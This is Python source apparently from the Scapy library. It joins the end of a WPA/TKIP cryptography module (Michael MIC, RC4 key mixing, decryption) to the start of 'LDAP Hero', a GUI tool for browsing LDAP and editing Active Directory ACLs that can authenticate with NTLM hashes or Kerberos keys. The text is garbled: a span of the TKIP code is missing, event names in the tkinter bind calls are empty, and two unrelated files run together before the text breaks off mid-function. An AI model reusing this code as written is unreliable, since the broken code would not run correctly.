len(WEPSeed) == 16 return b"".join(chb(x) for x in WEPSeed) # TKIP - Michael # Tested against cryptopy (crypto.keyedHash.michael: Michael) def _rotate_right32(value, shift): return (value >> (shift % 32) | value << ((32 - shift) % 32)) & 0xFFFFFFFF def _rotate_left32(value, shift): return (value << (shift % 32) | value >> ((32 - shift) % 32)) & 0xFFFFFFFF def _XSWAP(value): """Swap 2 least significant bytes of @value""" return ((value & 0xFF00FF00) >> 8) | ((value & 0x00FF00FF) << 8) def _michael_b(m_l, m_r): """Defined in 802.11i p.49""" m_r = m_r ^ _rotate_left32(m_l, 17) m_l = (m_l + m_r) % 2**32 m_r = m_r ^ _XSWAP(m_l) m_l = (m_l + m_r) % 2**32 m_r = m_r ^ _rotate_left32(m_l, 3) m_l = (m_l + m_r) % 2**32 m_r = m_r ^ _rotate_right32(m_l, 2) m_l = (m_l + m_r) % 2**32 return m_l, m_r def michael(key, to_hash): """Defined in 802.11i p.48""" # Block size: 4 nb_block, nb_extra_bytes = divmod(len(to_hash), 4) # Add padding data = to_hash + chb(0x5a) + b"\x00" * (7 - nb_extra_bytes) # Hash m_l, m_r = unpack('> 40) & 0xFF, (iv >> 32) & 0xFF, (iv >> 24) & 0xFF, (iv >> 16) & 0xFF, (iv >> 8) & 0xFF, iv & 0xFF ) bitfield = 1 << 5 # Extended IV TKIP_hdr = chb(TSC1) + chb((TSC1 | 0x20) & 0x7f) + chb(TSC0) + chb(bitfield) # noqa: E501 TKIP_hdr += chb(TSC2) + chb(TSC3) + chb(TSC4) + chb(TSC5) TA = [orb(e) for e in mac2str(mac)] TSC = [TSC0, TSC1, TSC2, TSC3, TSC4, TSC5] TK = [orb(x) for x in tk] rc4_key = gen_TKIP_RC4_key(TSC, TA, TK) return TKIP_hdr + ARC4_encrypt(rc4_key, data) def parse_data_pkt(pkt, tk): """Extract data from a WPA packet @pkt with temporal key @tk""" TSC, TA, data = parse_TKIP_hdr(pkt) TK = [orb(x) for x in tk] rc4_key = gen_TKIP_RC4_key(TSC, TA, TK) return ARC4_decrypt(rc4_key, data) class ICVError(Exception): """The expected ICV is not the computed one""" pass class MICError(Exception): """The expected MIC is not the computed one""" pass def check_MIC_ICV(data, mic_key, source, dest): """Check MIC, ICV & return the data from a decrypted TKIP packet""" assert len(data) > 12 # DATA - MIC(DA - SA - Priority=0 - 0 - 0 - 0 - DATA) - ICV # 802.11i p.47 ICV = data[-4:] MIC = data[-12:-4] data_clear = data[:-12] expected_ICV = pack(" """ LDAP Hero: a LDAP browser based on the Scapy LDAP client """ import uuid from scapy.layers.ldap import ( LDAP_AttributeValue, LDAP_BIND_MECHS, LDAP_Client, LDAP_CONTROL_ACCESS_RIGHTS, LDAP_Control, LDAP_DS_ACCESS_RIGHTS, LDAP_Exception, LDAP_ModifyRequestChange, LDAP_PartialAttribute, LDAP_PROPERTY_SET, LDAP_serverSDFlagsControl, ) from scapy.layers.dcerpc import ( DCERPC_Transport, NDRUnion, DCE_C_AUTHN_LEVEL, find_dcerpc_interface, ) from scapy.layers.gssapi import SSP from scapy.layers.msrpce.rpcclient import ( DCERPC_Client, ) from scapy.layers.msrpce.msdrsr import ( DRS_EXTENSIONS_INT, DRS_EXTENSIONS, DRS_MSG_CRACKREQ_V1, IDL_DRSBind_Request, IDL_DRSCrackNames_Request, NTDSAPI_CLIENT_GUID, ) from scapy.layers.ntlm import NTLMSSP from scapy.layers.kerberos import KerberosSSP from scapy.layers.spnego import SPNEGOSSP from scapy.layers.windows.security import ( SECURITY_DESCRIPTOR, WELL_KNOWN_SIDS, WINNT_ACE_FLAGS, WINNT_ACE_HEADER, WINNT_SID, WINNT_ACCESS_ALLOWED_ACE, WINNT_ACCESS_ALLOWED_OBJECT_ACE, WINNT_ACCESS_DENIED_OBJECT_ACE, WINNT_ACCESS_DENIED_ACE, WINNT_SYSTEM_AUDIT_OBJECT_ACE, WINNT_SYSTEM_AUDIT_ACE, ) from scapy.utils import valid_ip try: import tkinter as tk from tkinter import ttk, messagebox except ImportError: raise ImportError("tkinter is not installed (`apt install python3-tk` on debian)") class AutoHideScrollbar(ttk.Scrollbar): def __init__(self, *args, **kwargs): self.shown = False super(AutoHideScrollbar, self).__init__(*args, **kwargs) def set(self, first, last): show = float(first) > 0 or float(last) < 1 if show and not self.shown: self.grid(row=0, column=1, sticky="nsew") elif not show and self.shown: self.grid_forget() self.shown = show super(AutoHideScrollbar, self).set(first, last) class BasePopup: """ A tkinter wrapper used to have a popup window with basic controls """ def __init__(self, parent): # Get dialog self.dlg = tk.Toplevel(parent) self.parent = parent self.cancelled = False # Configure some bindings self.dlg.bind("", self.dismiss) self.dlg.bind("", self.dismiss) def dismiss(self, *_) -> None: """ Close the popup """ self.dlg.grab_release() self.dlg.destroy() def cancel(self) -> None: """ Cancel the popup """ self.cancelled = True self.dismiss() def run(self) -> False: """ Show the popup. Returns True if cancelled, False otherwise. """ self.dlg.protocol("WM_DELETE_WINDOW", self.dismiss) self.dlg.transient(self.parent) self.dlg.wait_visibility() self.dlg.grab_set() self.dlg.wait_window() return self.cancelled class LDAPHero: r""" LDAP Hero - LDAP GUI browser over Scapy's LDAP_Client :param ssp: if provided, use this SSP for auth. :param mech: the LDAP_BIND_MECHS to use when binding. :param sign: request signature by default :param encrypt: request encryption by default :param host: auto-connect to a specific host :param port: the port to connect to (default: 389/636) (This is only in use when using 'host') :param ssl: whether to use SSL to connect or not (This is only in use when using 'host') Authentication parameters: :param UPN: the upn to use (DOMAIN/USER, DOMAIN\USER, USER@DOMAIN or USER) :param kerberos_required: require kerberos :param password: if provided, used for auth :param HashNt: if provided, used for auth (NTLM) :param HashAes256Sha96: if provided, used for auth (Kerberos) :param HashAes128Sha96: if provided, used for auth (Kerberos) """ def __init__( self, ssp: SSP = None, mech: LDAP_BIND_MECHS = LDAP_BIND_MECHS.SASL_GSS_SPNEGO, sign: bool = True, encrypt: bool = False, host: str = None, port: int = None, ssl: bool = False, # Authentication UPN: str = None, password: str = None, kerberos_required: bool = False, HashNt: bytes = None, HashAes256Sha96: bytes = None, HashAes128Sha96: bytes = None, use_krb5ccname: bool = False, ): self.client = LDAP_Client() if ssp is None and mech == LDAP_BIND_MECHS.SASL_GSS_SPNEGO and UPN and host: # We allow the SSP to be provided through arguments. # In that case, use SPNEGO ssp = SPNEGOSSP.from_cli_arguments( UPN=UPN, target=host, password=password, HashNt=HashNt, HashAes256Sha96=HashAes256Sha96, HashAes128Sha96=HashAes128Sha96, kerberos_required=kerberos_required, use_krb5ccname=use_krb5ccname, ) self.ssp = ssp self.mech = mech if mech == LDAP_BIND_MECHS.SIMPLE: self.simple_username = UPN self.simple_password = password else: self.simple_username = self.simple_password = None self.sign = sign self.encrypt = encrypt # Session parameters self.connected = False self.bound = False self.host = host self.port = port self.ssl = ssl self.dns_domain_name = "" self.rootDSE = {} self.sids = dict(WELL_KNOWN_SIDS) self.sidscombo = {} self.guids = {} self.guidscombo = {"None": None} self.guidscomboobject = {"None": None} self.loadedSchemaIDGuids = False self.crop_output = None self.currently_editing = None # UI cache self.lastSearchString = "" # Launch self.main() def connect(self): """ Connect command. """ # If host is None, we need to ask for it via a dialog. if self.host is None: # Get dialog popup = BasePopup(self.root) dlg = popup.dlg # Connect UI serverv = tk.StringVar() serverv.set(self.host or "") ttk.Label(dlg, text="Server").grid(row=0, column=0) serverf = tk.Entry(dlg, textvariable=serverv) serverf.grid(row=0, column=1) portv = tk.StringVar() portv.set("389") ttk.Label(dlg, text="Port").grid(row=1, column=0) tk.Entry(dlg, textvariable=portv).grid(row=1, column=1) sslv = tk.BooleanVar() ttk.Label(dlg, text="SSL").grid(row=2, column=0) ttk.Checkbutton(dlg, variable=sslv).grid(row=2, column=1) ttk.Button(dlg, text="OK", command=popup.dismiss).grid(row=3, column=0) ttk.Button(dlg, text="Cancel", command=popup.cancel).grid(row=3, column=1) serverf.focus() # Setup if popup.run(): # Cancelled return # Get values self.host = serverv.get() try: self.port = int(portv.get()) except ValueError: return self.ssl = sslv.get() # Connect now ! self.tprint( "client.connect(host='%s', port=%s, ssl=%s)" % (self.host, self.port, self.ssl) ) try: self.client.connect(self.host, port=self.port, use_ssl=self.ssl) except Exception as ex: self.tprint(str(ex)) raise self.tprint("Established connection to %s." % self.host) self.connected = True # Alright, change the UI. self.menu_connection.entryconfig("Connect", state=tk.DISABLED) self.menu_connection.entryconfig("Bind", state=tk.ACTIVE) self.menu_connection.entryconfig("Disconnect", state=tk.ACTIVE) self.menu_browse.entryconfig("Add child", state=tk.ACTIVE) self.menu_browse.entryconfig("Modify", state=tk.ACTIVE) self.menu_browse.entryconfig("Modify DN", state=tk.ACTIVE) self.menu_browse.entryconfig("Search", state=tk.ACTIVE) self.menu_view.entryconfig("Tree", state=tk.ACTIVE) # Get rootDSE self.tprint("Retrieving base DSA information...") try: results = self.client.search( baseObject="", scope=0, ) except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) return attrs = results.get("", None) # root if attrs is None: return self.rootDSE = attrs # Get some infos on the server try: self.dns_domain_name = self.rootDSE["ldapServiceName"][0].split(":")[0] except KeyError: pass # Display self._showsearchresult("", results) # If we have a SSP, auto-bind. if self.ssp is not None: self.bind() def disconnect(self): """ Disconnect command. """ if not self.connected: return self.tprint("client.close()") self.client.close() self.connected = False self.menu_connection.entryconfig("Connect", state=tk.ACTIVE) self.menu_connection.entryconfig("Bind", state=tk.DISABLED) self.menu_connection.entryconfig("Disconnect", state=tk.DISABLED) self.menu_browse.entryconfig("Add child", state=tk.DISABLED) self.menu_browse.entryconfig("Modify", state=tk.DISABLED) self.menu_browse.entryconfig("Modify DN", state=tk.DISABLED) self.menu_browse.entryconfig("Search", state=tk.DISABLED) self.menu_view.entryconfig("Tree", state=tk.DISABLED) def bind(self, *args): """ Bind command. """ if not self.connected: return if self.bound: # We are re-binding ! self.ssp = None self.bound = False if self.ssp is not None or self.simple_username is not None: # We have an SSP. Don't prompt self.tprint("client.bind(%s, ssl=self.ssp)" % self.mech) try: self.client.bind( self.mech, ssp=self.ssp, simple_username=self.simple_username, simple_password=self.simple_password, sign=self.sign, encrypt=self.encrypt, ) except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) return except Exception as ex: self.tprint(str(ex)) raise self.tprint("Authenticated.\n", tags=["bold"]) self.bound = True return # Get dialog popup = BasePopup(self.root) dlg = popup.dlg # Bind UI userv = tk.StringVar() ttk.Label(dlg, text="User").grid(row=0, column=0) userf = tk.Entry(dlg, textvariable=userv) userf.grid(row=0, column=1) passwordv = tk.StringVar() ttk.Label(dlg, text="Password").grid(row=1, column=0) tk.Entry(dlg, textvariable=passwordv).grid(row=1, column=1) domainv = tk.StringVar() domainv.set(self.dns_domain_name) ttk.Label(dlg, text="Domain").grid(row=2, column=0) domentry = tk.Entry(dlg, textvariable=domainv) domentry.grid(row=2, column=1) # The "Bind Type" radio list bindtypefrm = ttk.LabelFrame( dlg, text="Bind type", ) bindtypev = tk.StringVar() sicilybtn = ttk.Radiobutton( bindtypefrm, variable=bindtypev, text="Sicily bind (NTLM)", value=LDAP_BIND_MECHS.SICILY.value, ) sicilybtn.pack(anchor=tk.W) gssapibtn = ttk.Radiobutton( bindtypefrm, variable=bindtypev, text="GSSAPI bind (Kerberos)", value=LDAP_BIND_MECHS.SASL_GSSAPI.value, ) gssapibtn.pack(anchor=tk.W) spnegobtn = ttk.Radiobutton( bindtypefrm, variable=bindtypev, text="SPNEGO bind (NTLM/Kerberos)", value=LDAP_BIND_MECHS.SASL_GSS_SPNEGO.value, ) spnegobtn.pack(anchor=tk.W) simplebtn = ttk.Radiobutton( bindtypefrm, variable=bindtypev, text="Simple bind", value=LDAP_BIND_MECHS.SIMPLE.value, ) simplebtn.pack(anchor=tk.W) bindtypefrm.grid(row=3, column=0, columnspan=2) if "supportedSASLMechanisms" in self.rootDSE: # Some algorithms might be unavailable algs = self.rootDSE["supportedSASLMechanisms"] if "GSSAPI" not in algs: gssapibtn.config(state=tk.DISABLED) if "GSS-SPNEGO" not in algs: spnegobtn.config(state=tk.DISABLED) # Sign button signv = tk.BooleanVar() signv.set(self.sign) ttk.Label(dlg, text="Sign traffic after bind").grid(row=4, column=0) signbtn = ttk.Checkbutton(dlg, variable=signv) signbtn.grid(row=4, column=1) # Encrypt button encryptv = tk.BooleanVar() encryptv.set(self.encrypt) ttk.Label(dlg, text="Encrypt traffic after bind").grid(row=5, column=0) encrbtn = ttk.Checkbutton(dlg, variable=encryptv) encrbtn.grid(row=5, column=1) ttk.Button(dlg, text="OK", command=popup.dismiss).grid(row=6, column=0) ttk.Button(dlg, text="Cancel", command=popup.cancel).grid(row=6, column=1) # Default state if self.dns_domain_name and not valid_ip(self.host): bindtypev.set(LDAP_BIND_MECHS.SASL_GSS_SPNEGO.value) else: domentry.configure(state=tk.DISABLED) bindtypev.set(LDAP_BIND_MECHS.SICILY.value) # Handle dynamic UI def bindtypechange(*args, **kwargs): bindtype = LDAP_BIND_MECHS(bindtypev.get()) if bindtype == LDAP_BIND_MECHS.SIMPLE: domentry.config(state=tk.DISABLED) signbtn.config(state=tk.DISABLED) encrbtn.config(state=tk.DISABLED) encryptv.set(False) elif bindtype == LDAP_BIND_MECHS.SICILY: domentry.config(state=tk.DISABLED) signbtn.config(state=tk.DISABLED) signv.set(False) encrbtn.config(state=tk.NORMAL) else: domentry.config(state=tk.NORMAL, textvariable=domainv) signbtn.config(state=tk.NORMAL) encrbtn.config(state=tk.NORMAL) bindtypev.trace_add("write", bindtypechange) userf.focus() # Setup if popup.run(): # Cancelled return # Get values username = userv.get() password = passwordv.get() domain = domainv.get() bindtype = LDAP_BIND_MECHS(bindtypev.get()) self.sign = signv.get() self.encrypt = encryptv.get() # Bind ! self.tprint("client.bind(%s, ...)" % bindtype) try: simple_username = None simple_password = None if bindtype == LDAP_BIND_MECHS.SIMPLE: self.ssp = None simple_username = username simple_password = password self.encrypt = False elif bindtype == LDAP_BIND_MECHS.SICILY: self.sign = False self.ssp = NTLMSSP( UPN=username, PASSWORD=password, ) elif bindtype == LDAP_BIND_MECHS.SASL_GSSAPI: self.ssp = KerberosSSP( UPN="%s@%s" % (username, domain), SPN="ldap/%s" % self.host, PASSWORD=password, ) elif bindtype == LDAP_BIND_MECHS.SASL_GSS_SPNEGO: self.ssp = SPNEGOSSP( [ NTLMSSP( UPN=username, PASSWORD=password, ), KerberosSSP( UPN="%s@%s" % (username, domain), SPN="ldap/%s" % self.host, PASSWORD=password, ), ] ) self.client.bind( bindtype, ssp=self.ssp, simple_username=simple_username, simple_password=simple_password, sign=self.sign, encrypt=self.encrypt, ) except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) # Reset SSP. self.ssp = None return except Exception as ex: self.tprint(str(ex)) # Reset SSP. self.ssp = None raise self.tprint("Authenticated.\n") self.bound = True def tree(self, *args): """ Tree command. """ if not self.connected: return # Get namingContexts from rootDSE try: results = self.client.search(attributes=["namingContexts"]) except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) return attrs = results.get("", None) # root if attrs is None: return if "namingContexts" in attrs: self.tk_tree.delete(*self.tk_tree.get_children()) for root in attrs["namingContexts"]: self.tk_tree.insert("", "end", root, text=root) def _showsearchresult(self, baseObject, results): """ Display attributes search result """ if baseObject in results: self.tprint("Dn: %s" % (baseObject or "(RootDSE)"), tags=["bold"]) self.tprint( "\n".join( " %s%s: %s" % ( k, "" if len(v) == 1 else " (%s)" % len(v), self._format_attribute(k, v, crop=True), ) for k, v in sorted(results[baseObject].items(), key=lambda x: x[0]) ) + "\n" ) def treedoubleclick(self, _): """ Action done on tree double-click. """ # Get clicked item try: item = self.tk_tree.selection()[0] except IndexError: # Nothing is selected return # Unclickable if self.tk_tree.tag_has("unclickable", item): return # Does it already have children? If so delete them. self.tk_tree.delete(*self.tk_tree.get_children(item)) self.tprint("-----------\nExpanding base '%s'..." % item) # Get children try: results = self.client.search( baseObject=item, scope=1, attributes=["1.1"], ) except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) return # Add to tree if not results: self.tk_tree.insert(item, "end", text="No children", tags=("unclickable",)) else: for child in results: self.tk_tree.insert(item, "end", child, text=child) # Get attributes try: results = self.client.search( baseObject=item, scope=0, ) except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) return # Display self._showsearchresult(item, results) def load_guids(self): """ Load the various guids: - schemaIDguid - propset This cache is used to resolve the GUIDs of objects in ACEs. """ if self.loadedSchemaIDGuids: return True # Property set self.guids.update( ( k, { "objectClass": ["propset"], "name": v, }, ) for k, v in LDAP_PROPERTY_SET.items() ) # Control access self.guids.update( ( k, { "objectClass": ["controlset access right"], "name": v, }, ) for k, v in LDAP_CONTROL_ACCESS_RIGHTS.items() ) self.tprint("Resolving schemaIDguid... ", flush=True) try: results = self.client.search( baseObject=self.rootDSE["schemaNamingContext"][0], scope=1, attributes=["lDAPDisplayName", "schemaIDGUID", "objectClass"], ) except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) return False self.guids.update( { uuid.UUID(bytes_le=v["schemaIDGUID"][0]): { "objectClass": v["objectClass"], "name": v["lDAPDisplayName"][0], } for v in results.values() if "schemaIDGUID" in v } ) self.guidscombo.update({v["name"]: k for k, v in self.guids.items()}) self.guidscomboobject.update( { v["name"]: k for k, v in self.guids.items() if "classSchema" in v["objectClass"] } ) self.loadedSchemaIDGuids = True self.tprint("OK !") return True def _rslvtype(self, x): """ Resolve Object types GUIDs """ if x in self.guids: return self.guids[x]["name"] return str(x) def _rslvsid(self, x): """ Resolve SIDs """ if isinstance(x, WINNT_SID): x = x.summary() if x in self.sids: return self.sids[x] return x or "" def resolvesids(self, sids): """ Queue a list of SIDs for resolution. They are then added to self.sids if successful. """ unknowns = [x for x in (y.summary() for y in sids) if x not in self.sids] if not unknowns: return # Perform a resolution using [MS-LSAT] LsarLookupSids3 client = DCERPC_Client( DCERPC_Transport.NCACN_IP_TCP, ndr64=False, auth_level=DCE_C_AUTHN_LEVEL.PKT_PRIVACY, ssp=self.ssp, ) client.connect_and_bind(self.host, find_dcerpc_interface("drsuapi")) # 1. DRSBind bind_resp = client.sr1_req( IDL_DRSBind_Request( puuidClientDsa=NTDSAPI_CLIENT_GUID, pextClient=DRS_EXTENSIONS(rgb=bytes(DRS_EXTENSIONS_INT(Pid=1234))), ndr64=client.ndr64, ), ) if bind_resp.status != 0: self.tprint("Bind Request failed.") bind_resp.show() return # 2. DRSCrackNames resp = client.sr1_req( IDL_DRSCrackNames_Request( hDrs=bind_resp.phDrs, dwInVersion=1, pmsgIn=NDRUnion( tag=1, value=DRS_MSG_CRACKREQ_V1( CodePage=0x4E4, # LocaleId=0x409, # US-EN formatOffered=11, # SID formatDesired=0xFFFFFFF2, # DS_USER_PRINCIPAL_NAME_FOR_LOGON rpNames=unknowns, ), ), ndr64=client.ndr64, ), ) if resp.status != 0: self.tprint("DsCracknames Request failed.") resp.show() return # 3. parse results for i, res in enumerate(resp.valueof("pmsgOut.pResult.rItems")): if res.status != 0: # Errored continue name = res.valueof("pName") self.sids[unknowns[i]] = name.decode() # alias for combobox self.sidscombo = {self._rslvsid(x): x for x in self.sids.keys()} def viewsec(self, *args): """ View security descriptor """ # Get clicked item item = self.tk_tree.selection()[0] # Get SD try: results = self.client.search( baseObject=item, scope=0, attributes=["nTSecurityDescriptor"], controls=[ LDAP_Control( controlType="1.2.840.113556.1.4.801", criticality=True, controlValue=LDAP_serverSDFlagsControl( flags="OWNER+GROUP+DACL+SACL", ), ) ], ) except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) return if item not in results: return try: nTSecurityDescriptor = SECURITY_DESCRIPTOR( results[item]["nTSecurityDescriptor"][0] ) except KeyError: self.tprint( "Security Descriptor could NOT be read ! (Access denied?)", tags=["error"], ) return except LDAP_Exception as ex: self.tprint( "Error parsing the Security Descriptor: " + str(ex), tags=["error"], ) return # Resolve the guids if not self.load_guids(): return # Pre-resolve all the SIDs. owner = getattr(nTSecurityDescriptor, "OwnerSid", None) group = getattr(nTSecurityDescriptor, "GroupSid", None) _to_resolve = [ owner, group, ] if hasattr(nTSecurityDescriptor, "DACL"): _to_resolve.extend(x.Sid for x in nTSecurityDescriptor.DACL.Aces) if hasattr(nTSecurityDescriptor, "SACL"): _to_resolve.extend(x.Sid for x in nTSecurityDescriptor.SACL.Aces) self.resolvesids(_to_resolve) # Get dialog popup = BasePopup(self.root) dlg = popup.dlg # Security Descriptor UI dlg.columnconfigure(0, weight=1) dlg.rowconfigure(tuple(range(5)), weight=1) sidfrm = ttk.Frame(dlg) sidfrm.grid(row=0, sticky="we") sidfrm.grid_columnconfigure(1, weight=1) ownerv = tk.StringVar() ownerv.set(self._rslvsid(owner)) ttk.Label(sidfrm, text="Owner").grid(row=0, column=0, sticky="we") ttk.Combobox( sidfrm, textvariable=ownerv, values=list(self.sidscombo.keys()) ).grid(row=0, column=1, sticky="we") groupv = tk.StringVar() groupv.set(self._rslvsid(group)) ttk.Label(sidfrm, text="Group").grid(row=1, column=0, sticky="we") ttk.Combobox( sidfrm, textvariable=groupv, values=list(self.sidscombo.keys()) ).grid(row=1, column=1, sticky="we") sdcontrolfrm = ttk.LabelFrame( dlg, text="SD Control", ) sdflags = [ "SELF_RELATIVE", "DACL_PRESENT", "SACL_PRESENT", "OWNER_DEFAULTED", "DACL_PROTECTED", "SACL_PROTECTED", "GROUP_DEFAULTED", "DACL_AUTO_INHERITED", "SACL_AUTO_INHERITED", "RM_CONTROL_VALID", "DACL_DEFAULTED", "SACL_DEFAULTED", "SERVER_SECURITY", "DACL_COMPUTED", "SACL_COMPUTED", None, "DACL_TRUSTED", ] sdvars = [None] * len(sdflags) for i, sdflag in enumerate(sdflags): if sdflag is None: continue sdvars[i] = tk.BooleanVar() sdvars[i].set(getattr(nTSecurityDescriptor.Control, sdflag)) ttk.Checkbutton(sdcontrolfrm, variable=sdvars[i], text=sdflag).grid( row=(i // 3) * 4, column=(i % 3) * 4, columnspan=4, sticky="w" ) sdcontrolfrm.grid(row=1, sticky="we") def acegui(ace, parentdlg=dlg): data = ace.extractData(accessMask=LDAP_DS_ACCESS_RIGHTS) # Sub-dialog subpopup = BasePopup(parentdlg) dlg = subpopup.dlg # Edit ACE UI dlg.columnconfigure(1, weight=1) dlg.rowconfigure(tuple(range(8)), weight=1) # Trustee trusteev = tk.StringVar() trusteev.set(self._rslvsid(data["sid-string"])) ttk.Label(dlg, text="Trustee").grid(row=0, column=0, sticky="we") ttk.Combobox( dlg, textvariable=trusteev, values=list(self.sidscombo.keys()) ).grid(row=0, column=1, sticky="we") # ACE type ttk.Label(dlg, text="ACE type").grid(row=1, column=0, sticky="we") acetypefrm = ttk.Frame( dlg, ) acetypev = tk.IntVar() acetypev.set(ace.AceType - 5 if ace.AceType >= 5 else ace.AceType) ttk.Radiobutton( acetypefrm, variable=acetypev, text="Allow", value=0x00, ).grid(row=0, column=0) ttk.Radiobutton( acetypefrm, variable=acetypev, text="Deny", value=0x01, ).grid(row=0, column=1) ttk.Radiobutton( acetypefrm, variable=acetypev, text="Audit", value=0x02, ).grid(row=0, column=2) ttk.Radiobutton( acetypefrm, variable=acetypev, text="Alarm", value=0x03, state=tk.DISABLED, ).grid(row=0, column=3) acetypefrm.grid(row=1, column=1, sticky="we") # Access Mask accessmaskfrm = ttk.LabelFrame( dlg, text="Access Mask", ) sdvars = [None] * len(LDAP_DS_ACCESS_RIGHTS) for i, maskval in enumerate(LDAP_DS_ACCESS_RIGHTS.values()): sdvars[i] = tk.BooleanVar() sdvars[i].set(getattr(data["mask"], maskval)) ttk.Checkbutton(accessmaskfrm, variable=sdvars[i], text=maskval).grid( row=i // 4, column=i % 4, sticky="w" ) accessmaskfrm.grid(row=2, column=0, columnspan=2, sticky="we") # ACE flags aceflagsfrm = ttk.LabelFrame( dlg, text="Access Mask", ) aceflagsvars = [None] * len(WINNT_ACE_FLAGS) for i, aceval in enumerate(WINNT_ACE_FLAGS.values()): aceflagsvars[i] = tk.BooleanVar() aceflagsvars[i].set(getattr(ace.AceFlags, aceval)) ttk.Checkbutton( aceflagsfrm, variable=aceflagsvars[i], text=aceval ).grid(row=i // 4, column=i % 4, sticky="w") aceflagsfrm.grid(row=3, column=0, columnspan=2, sticky="we") # Object type objecttypev = tk.StringVar() objecttypev.set(self._rslvtype(data["object-guid"]) or "None") ttk.Label(dlg, text="Object type").grid(row=5, column=0, sticky="we") ttk.Combobox( dlg, textvariable=objecttypev, values=list(self.guidscombo.keys()) ).grid(row=5, column=1, sticky="we") # Inherited object type inheritedobjecttypev = tk.StringVar() inheritedobjecttypev.set( self._rslvtype(data["inherited-object-guid"]) or "None" ) ttk.Label(dlg, text="Inherited object type").grid( row=6, column=0, sticky="we" ) ttk.Combobox( dlg, textvariable=inheritedobjecttypev, values=list(self.guidscomboobject.keys()), ).grid(row=6, column=1, sticky="we") # OK / Cancel btnfrm = ttk.Frame(dlg) ttk.Button(btnfrm, text="OK", command=subpopup.dismiss).grid( row=0, column=0 ) ttk.Button(btnfrm, text="Cancel", command=subpopup.cancel).grid( row=0, column=1 ) btnfrm.grid(row=7) # Setup if subpopup.run(): # Cancelled return # Get values trustee = trusteev.get() acetype = acetypev.get() objecttype = objecttypev.get() inheritedobjecttype = inheritedobjecttypev.get() mask = 0 for i, (sdvar, v) in enumerate( zip(sdvars, list(LDAP_DS_ACCESS_RIGHTS.keys())) ): if sdvar is None: continue if sdvar.get(): mask |= v aceflags = 0 for i, (aceflagvar, v) in enumerate( zip(aceflagsvars, list(WINNT_ACE_FLAGS.keys())) ): if aceflagvar is None: continue if aceflagvar.get(): aceflags |= v # Set back into ACE if trustee in self.sidscombo: Sid = WINNT_SID.fromstr(self.sidscombo[trustee]) else: Sid = WINNT_SID.fromstr(trustee) if objecttype in self.guidscombo: objecttype = self.guidscombo[objecttype] elif objecttype: objecttype = uuid.UUID(objecttype) if inheritedobjecttype in self.guidscomboobject: inheritedobjecttype = self.guidscomboobject[inheritedobjecttype] elif inheritedobjecttype: inheritedobjecttype = uuid.UUID(inheritedobjecttype) Flags = 0 if objecttype: Flags |= 1 if inheritedobjecttype: Flags |= 2 if acetype == 0x00: if Flags: ace.AceType = 0x05 ace.payload = WINNT_ACCESS_ALLOWED_OBJECT_ACE( Mask=mask, Sid=Sid, Flags=Flags, ObjectType=objecttype, InheritedObjectType=inheritedobjecttype, ) else: ace.AceType = 0x00 ace.payload = WINNT_ACCESS_ALLOWED_ACE( Mask=mask, Sid=Sid, ) elif acetype == 0x01: if Flags: ace.AceType = 0x06 ace.payload = WINNT_ACCESS_DENIED_OBJECT_ACE( Mask=mask, Sid=Sid, Flags=Flags, ObjectType=objecttype, InheritedObjectType=inheritedobjecttype, ) else: ace.AceType = 0x01 ace.payload = WINNT_ACCESS_DENIED_ACE( Mask=mask, Sid=Sid, ) elif acetype == 0x02: if Flags: ace.AceType = 0x07 ace.payload = WINNT_SYSTEM_AUDIT_OBJECT_ACE( Mask=mask, Sid=Sid, Flags=Flags, ObjectType=objecttype, InheritedObjectType=inheritedobjecttype, ) else: ace.AceType = 0x02 ace.payload = WINNT_SYSTEM_AUDIT_ACE( Mask=mask, Sid=Sid, ) else: raise NotImplementedError ace.AceFlags = aceflags def addace(id, table, ace, pos="end"): data = ace.extractData(accessMask=LDAP_DS_ACCESS_RIGHTS) table.insert( "", pos, id, values=( ace.sprintf("%AceType%"), self._rslvsid(data["sid-string"]), str(data["mask"]) + ( " (%s)" % self._rslvtype(data["object-guid"]) if data["object-guid"] else "" ), ace.sprintf("%AceFlags%"), ), ) def acltable(name): aclfrm = ttk.LabelFrame(dlg, text=name, borderwidth=0) tvfr = ttk.Frame(aclfrm) tvfr.grid_columnconfigure(0, weight=1) tvfr.grid_rowconfigure(0, weight=1) acltree = ttk.Treeview( tvfr, show="headings", columns=("type", "trustee", "rights", "flags") ) acltree.heading("type", text="Type") acltree.heading("trustee", text="Trustee") acltree.heading("rights", text="Rights") acltree.heading("flags", text="Flags") tree_scrollbar = AutoHideScrollbar( tvfr, orient="vertical", command=acltree.yview ) acltree.configure(yscrollcommand=tree_scrollbar.set) acltree.grid(row=0, column=0, sticky="nsew") # Populate aclobj = getattr(nTSecurityDescriptor, name, None) if aclobj is not None: for i, ace in enumerate(aclobj.Aces): addace(i, acltree, ace) def add(*_): ace = WINNT_ACE_HEADER() / WINNT_ACCESS_ALLOWED_ACE() acegui(ace) # Append aclobj.Aces.append(ace) addace(len(aclobj.Aces) - 1, acltree, ace) def delete(*_): try: selected = int(acltree.selection()[0]) del aclobj.Aces[selected] except IndexError: return # Full refresh as indexes change. acltree.delete(*acltree.get_children()) for i, ace in enumerate(aclobj.Aces): addace(i, acltree, ace) def edit(*_): try: selected = int(acltree.selection()[0]) ace = aclobj.Aces[selected] except IndexError: return acegui(ace) # Update acltree.delete(selected) addace(selected, acltree, ace, pos=selected) btnfrm = ttk.Frame(aclfrm) btnfrm.grid_columnconfigure(0, weight=1) ttk.Button(btnfrm, text="Add", command=add).grid(row=0) ttk.Button(btnfrm, text="Delete", command=delete).grid(row=1) ttk.Button(btnfrm, text="Edit", command=edit).grid(row=2) btnfrm.pack(side="right") tvfr.pack(fill="both", expand=True) return aclfrm acltable("DACL").grid(row=2, sticky="we") acltable("SACL").grid(row=3, sticky="we") btnfrm = ttk.Frame(dlg) 